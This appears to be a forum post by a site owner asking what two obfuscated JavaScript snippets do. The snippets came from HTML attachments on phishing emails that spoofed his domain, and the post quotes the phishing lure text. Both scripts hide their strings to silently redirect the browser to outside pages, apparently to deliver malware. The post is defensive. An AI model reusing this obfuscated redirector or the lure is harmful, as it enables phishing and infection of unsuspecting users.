What does this Javascript do?
- by nute
I've just found out that a spammer is sending email from our domain name, pretending to be us, saying:
Dear Customer,
This e-mail was send by ourwebsite.com
to notify you that we have temporanly
prevented access to your account.
We have reasons to beleive that your
account may have been accessed by
someone else. Please run attached file
and Follow instructions.
(C) ourwebsite.com (I changed that)
The attached file is an HTML file that has the following javascript:
<script type='text/javascript'>function mD(){};this.aB=43719;mD.prototype = {i : function() {var w=new Date();this.j='';var x=function(){};var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');var d=new Date();y="";aL="";var f=document;var s=function(){};this.yE="";aN="";var dL='';var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];this.v="v";var q=27427;var m=new Date();iD['hqrteqfH'.replace(/[Htqag]/g, '')]=a;dE='';k="";var qY=function(){};}};xO=false;var b=new mD(); yY="";b.i();this.xT='';</script>
Another email had this:
<script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script>
Can anyone tells me what it does? So we can see if we have a vulnerability, and if we need to tell our customers about it ...
Thanks
